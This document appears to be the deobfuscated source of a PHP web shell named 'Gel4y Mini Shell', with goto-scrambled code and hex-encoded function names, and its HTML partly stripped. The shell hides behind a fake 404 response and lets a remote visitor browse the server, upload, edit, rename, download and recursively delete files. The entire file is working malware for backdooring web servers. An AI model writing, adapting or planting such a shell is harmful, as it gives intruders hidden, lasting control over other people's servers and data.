/* Decoded by unphp.net */
\xa \x9 "; isset($_POST["s"]) ? $func[13]($p . "/" . nhx($_GET["n"]), $_POST["ctn"]) ? a("file contents changed successfully", 1, "&a=" . hex("view") . "&n={$_GET["n"]}") : a("file contents failed to change") : null; goto EHmbv8BUWg; hgWow5xei6: echo "\x9\x9
View file
\xa\x9\x9 File name : "; goto DhfK32mSzf; n9QuPP0ilv: dcT9S6QqIU: goto ZzSYo3cO9b; NR0xSobALD: error_reporting(0); http_response_code(404); define("self", "Gel4y Mini Shell"); $scD = "scandir"; $func = array("7068705f756e616d65", "70687076657273696f6e", "676574637764", "6368646972", "707265675f73706c6974", "61727261795f64696666", "69735f646972", "69735f66696c65", "69735f7772697461626c65", "69735f7265616461626c65", "66696c6573697a65", "636f7079", "66696c655f657869737473", "66696c655f7075745f636f6e74656e7473", "66696c655f6765745f636f6e74656e7473", "6d6b646972", "72656e616d65", "737472746f74696d65", "68746d6c7370656369616c6368617273", "64617465", "66696c656d74696d65"); goto OGLfhIpRb1; I1co83smh2: $i++; goto XVHlxLeRnY; jrLX4zGaez: if (isset($_GET["p"])) { goto cGESsJg41G; } $p = $func[2](); goto qHkFyyNhvo; qHkFyyNhvo: goto gS7OmAaKk5; cGESsJg41G: $p = nhx($_GET["p"]); $func[3](nhx($_GET["p"])); gS7OmAaKk5: goto dqlHj85UqV; OGLfhIpRb1: $i = 0; XVHlxLeRnY: if (!($i < count($func))) { goto jrLX4zGaez; } $func[$i] = nhx($func[$i]); He7YLBcZfz: goto I1co83smh2; PhIZHlfWil: $i++; goto Cv3b0ePAbW; G2_5SL5FMs: ssIrupXBnO: if (!isset($_GET["download"])) { goto zfwyFS344A; } goto FrTCFo8xcs; jPeiH1lnX2: if ($a == "rename") { goto UrAZLocG8c; } if ($a == "edit") { goto Qx_L32n1k1; } if ($a == "view") { goto hgWow5xei6; } goto EHmbv8BUWg; Kn5D2Yu0jF: goto MEe6QlJIf9; os1yUo_Yqf: echo "">+Directory\xd \x9 \xa \x9 \x9\x9
\xd \x9
  • Server : "; echo "{$_SERVER["SERVER_NAME"]} ({$_SERVER["SERVER_ADDR"]}/{$_SERVER["REMOTE_ADDR"]})"; echo "
  • \xd\xa \x9
    \x9
    "; if (!isset($_FILES["f"])) { goto ssIrupXBnO; } $n = $_FILES["f"]["name"]; goto IoY1weKx49; BUHBBEUEjL: a("file to delete the folder", 0); goto ZKv7fzuGRb; KzasCPGh4b: a("file deleted successfully"); ZKv7fzuGRb: goto lFezqt9Hec; dqlHj85UqV: function hex($str) { $r = ''; $i = 0; GSrU0nfb1v: if (!($i < strlen($str))) { goto iZd4Z26FKh; } $r .= dechex(ord($str[$i])); af4C6bYGj5: $i++; goto GSrU0nfb1v; iZd4Z26FKh: return $r; } function nhx($str) { goto G80yASP0df; KriPaRWJOl: $r .= chr(hexdec($str[$i] . $str[$i + 1])); kfpGCi3Ggg: $i += 2; goto xiusZw1owb; DmXFm7JRbE: goto OTZsgzsSL4; G80yASP0df: $r = ''; $len = strlen($str) - 1; $i = 0; xiusZw1owb: if (!($i < $len)) { goto DmXFm7JRbE; } goto KriPaRWJOl; OTZsgzsSL4: return $r; goto axpYRQYG_A; axpYRQYG_A: } function perms($f) { goto Eg_llnXO1F; Eg_llnXO1F: $p = fileperms($f); if (($p & 0xc000) == 0xc000) { goto gcbM7xGDPr; } if (($p & 0xa000) == 0xa000) { goto H7pV0JJkWr; } if (($p & 0x8000) == 0x8000) { goto GCQDFbJHFZ; } if (($p & 0x6000) == 0x6000) { goto IWi1o9mKN7; } goto kEG1ISAvhv; VXS34MjLeI: $i = "b"; goto zld3x48pzp; gfn1cIT6Jn: $i = "d"; goto zld3x48pzp; goto F6Seci2gNu; Jmo_HB7t5h: goto zld3x48pzp; GCQDFbJHFZ: $i = "-"; goto zld3x48pzp; IWi1o9mKN7: goto VXS34MjLeI; kEG1ISAvhv: if (($p & 0x4000) == 0x4000) { goto gfn1cIT6Jn; } if (($p & 0x2000) == 0x2000) { goto DP4JsbAsLB; } if (($p & 0x1000) == 0x1000) { goto rsRytCfECG; } $i = "u"; goto zld3x48pzp; goto xhDLhIg1gv; F6Seci2gNu: DP4JsbAsLB: $i = "c"; goto zld3x48pzp; rsRytCfECG: $i = "p"; goto ou58YaWnzJ; Mj2Pq7sn5V: $i .= $p & 0x10 ? "w" : "-"; $i .= $p & 0x8 ? $p & 0x400 ? "s" : "x" : ($p & 0x400 ? "S" : "-"); $i .= $p & 0x4 ? "r" : "-"; $i .= $p & 0x2 ? "w" : "-"; $i .= $p & 0x1 ? $p & 0x200 ? "t" : "x" : ($p & 0x200 ? "T" : "-"); goto yt7HwLDB7T; xhDLhIg1gv: gcbM7xGDPr: $i = "s"; goto zld3x48pzp; H7pV0JJkWr: $i = "l"; goto Jmo_HB7t5h; yt7HwLDB7T: return $i; goto b4R96Z229w; ou58YaWnzJ: zld3x48pzp: $i .= $p & 0x100 ? "r" : "-"; $i .= $p & 0x80 ? "w" : "-"; $i .= $p & 0x40 ? $p & 0x800 ? "s" : "x" : ($p & 0x800 ? "S" : "-"); $i .= $p & 0x20 ? "r" : "-"; goto Mj2Pq7sn5V; b4R96Z229w: } function a($msg, $sts = 1, $loc = '') { global $p; $status = $sts == 1 ? "success" : "error"; echo ""; } function deldir($d) { goto MKw2k19xkT; AWy19vUnjl: roEKt1OAVu: goto GakDSBZ5gu; TtMwJCSrTh: unlink($d); goto roEKt1OAVu; C1IuylHWN_: array_map("deldir", glob($d . DIRECTORY_SEPARATOR . "{,.}*", GLOB_BRACE | GLOB_NOSORT)); rmdir($d); goto AWy19vUnjl; MKw2k19xkT: global $func; if (!(trim(pathinfo($d, PATHINFO_BASENAME), ".") === '')) { goto atIFIM4TRD; } return; atIFIM4TRD: if ($func[6]($d)) { goto C1IuylHWN_; } goto TtMwJCSrTh; GakDSBZ5gu: } goto Ul5FR4e5KP; DhfK32mSzf: echo nhx($_GET["n"]); echo "
    \x9
    \xd\xa\x9 \x9"; EHmbv8BUWg: goto P5h_iu38Mw; td972J650X: if (!($a == "delete")) { goto lpKoq5LumM; } $loc = $p . "/" . nhx($_GET["n"]); if (!($_GET["t"] == "d")) { goto kpC5HXJqTx; } deldir($loc); if (!$func[12]($loc)) { goto dYYR8ojn4s; } goto er4WBJGKOJ; MEe6QlJIf9: echo "\x9\x9
    New folder
    \xa\x9\x9\x9
    \xd \x9 "; isset($_POST["s"]) ? $func[12]("{$p}/{$_POST["n"]}") ? a("folder name has been used", 0, "&a=" . hex("newDir")) : ($func[15]("{$p}/{$_POST["n"]}") ? a("folder created successfully") : a("folder failed to create", 0)) : null; goto EHmbv8BUWg; L7WrVJkycu: echo "\x9
    New file
    \xd\xa\x9\x9\x9
    \xa "; goto rsAPahBjC8; r2uPZa3fXB: echo " \x9
    \x9\x9"; isset($_POST["s"]) ? $func[16]($p . "/" . nhx($_GET["n"]), $_POST["n"]) ? a("successfully changed the folder name") : a("failed to change the folder name", 0) : null; goto EHmbv8BUWg; goto vuwRqH1lVV; F0fdwsKvbA: echo "\x9\xd\xa\x9
    \x9\x9
    \xd\xa \x9 Path: \x9\x9 "; $ps = $func[4]("/(\\|\/)/", $p); foreach ($ps as $k => $v) { goto N1swF3LEWe; N1swF3LEWe: if (!($k == 0 && $v == '')) { goto H9vn1HfHRe; } echo "~/"; goto hcWjmSaGr_; H9vn1HfHRe: if (!($v == '')) { goto KiV4tu9KrE; } goto ItbF_M2Lb5; YsvQ7I5pXL: if (!($i <= $k)) { goto ak1EVOsDSx; } echo hex($ps[$i]); if (!($i != $k)) { goto QA31tIU3Rr; } echo "2f"; QA31tIU3Rr: goto ZcGNET1SN8; ItbF_M2Lb5: goto hcWjmSaGr_; KiV4tu9KrE: echo "{$v}/"; goto JKdl5NjkB_; JKdl5NjkB_: hcWjmSaGr_: goto je0ISqz1vs; je0ISqz1vs: } wSLl7iXZJv: echo " \x9
    \xd\xa
    \x9
    "; goto fE1TRkKMHM; fE1TRkKMHM: if (!isset($_GET["a"])) { goto ulY2c1qwGP; } if (!isset($_GET["a"])) { goto mVfAbSYA8o; } $a = nhx($_GET["a"]); mVfAbSYA8o: echo "\x9\x9
    \xd \x9\x9\x9"; goto td972J650X; rsAPahBjC8: isset($_POST["s"]) ? $func[12]("{$p}/{$_POST["n"]}") ? a("file name has been used", 0, "&a=" . hex("newFile")) : ($func[13]("{$p}/{$_POST["n"]}", $_POST["ctn"]) ? a("file created successfully", 1, "&a=" . hex("view") . "&n=" . hex($_POST["n"])) : a("file failed to create", 0)) : null; goto EHmbv8BUWg; UrAZLocG8c: echo "\x9\x9
    Rename "; echo $_GET["t"] == "d" ? "folder" : "file"; goto r2uPZa3fXB; Ul5FR4e5KP: echo " \xa \xa\xd\xa\xd\xa \xd \x9\xd\xa \xd\xa "; echo self; echo " \xa\x9\xd \x9\xd \xd \xd \x9
    \xa \x9
    \xd\xa\x9 \x9 PHP Version : "; goto ALyujsM9q8; FrTCFo8xcs: header("Content-Type: application/octet-stream"); header("Content-Transfer-Encoding: Binary"); header("Content-Length: " . $func[17](nhx($_GET["n"]))); header("Content-disposition: attachment; filename="" . nhx($_GET["n"]) . """); zfwyFS344A: goto F0fdwsKvbA; er4WBJGKOJ: a("failed to delete the folder", 0); goto Lql4MirOpU; dYYR8ojn4s: a("folder deleted successfully"); Lql4MirOpU: goto ona4n1872m; IoY1weKx49: $i = 0; Cv3b0ePAbW: if (!($i < count($n))) { goto G2_5SL5FMs; } if ($func[11]($_FILES["f"]["tmp_name"][$i], $n[$i])) { goto n8oJvccKP2; } a("file failed to upload", 0); goto jiiJoCcoFy; jiiJoCcoFy: goto Uytcg0lfx4; n8oJvccKP2: a("file uploaded successfully"); Uytcg0lfx4: FoA33D3KhZ: goto PhIZHlfWil; ALyujsM9q8: echo $func[1](); echo "
    \xa\x9 \x9 +File\xd \x9\x9 \x9 \x9"; goto dcT9S6QqIU; ulY2c1qwGP: echo "\x9\x9 \x9 \xd \x9\x9 \xd \x9 \x9 \xa\x9\x9\x9\x9\x9\xd\xa\x9\x9\x9\x9\x9\xd\xa\x9 \x9 \x9\xd\xa\x9\x9 \x9\xd\xa \xa\x9\x9 \xd\xa \x9"; $scD = $func[5]($scD($p), [".", ".."]); goto yjs4m8eKj3; lFezqt9Hec: FSi6ipEU__: lpKoq5LumM: echo " \x9\x9"; if ($a == "newDir") { goto Kn5D2Yu0jF; } if ($a == "newFile") { goto L7WrVJkycu; } goto jPeiH1lnX2; yjs4m8eKj3: foreach ($scD as $d) { if ($func[6]("{$p}/{$d}")) { goto KQtl0AlrOv; } goto t3Si15LQ5t; KQtl0AlrOv: echo "\xd\xa\x9 \x9\x9\x9 \xa\x9\x9\x9\x9\x9\x9\xd \x9 \x9 \x9 \xa\x9\x9 \x9 \x9\xd \x9\x9\x9 \xd\xa \x9\x9\x9"; t3Si15LQ5t: } jj8IeXlRGY: foreach ($scD as $f) { if ($func[7]("{$p}/{$f}")) { goto U6Sra_DIuT; } goto J0gB9hol1y; U6Sra_DIuT: $size = $func[10]("{$p}/{$f}") / 1024; $size = round($size, 3); $size = $size > 1024 ? round($size / 1024, 2) . "MB" : $size . "KB"; echo "\xd\xa\x9\x9\x9 \x9 \x9\x9\x9\x9\x9 \xd\xa \x9 \x9\xd\xa\x9\x9 \x9 \xa \x9 \x9 \x9\x9\xd \x9 \x9 \x9"; J0gB9hol1y: } L_h_Ve8AiE: echo "\x9 \x9 \xa
    NameSizePermissionAction
    {$d}N/A" . perms("{$p}/{$d}") . "\xd \x9 \x9 \xd\xa \x9 \x9\x9\x9 \xa\x9\x9\x9\x9 \x9
    {$f}{$size}" . perms("{$p}/{$f}") . " \xa\x9 \x9\x9 \x9
    \x9 \x9 \x9 \x9 \x9 \x9\x9 \x9 \x9 \xa\x9 \x9\x9\x9\x9 \x9 \xa\x9 \x9 \x9\xd\xa\x9\x9 \x9 \x9
    \x9\x9
    \xa "; goto n9QuPP0ilv; vuwRqH1lVV: Qx_L32n1k1: echo " \x9
    Edit file
    \xd \x9File name : "; echo nhx($_GET["n"]); echo " \xa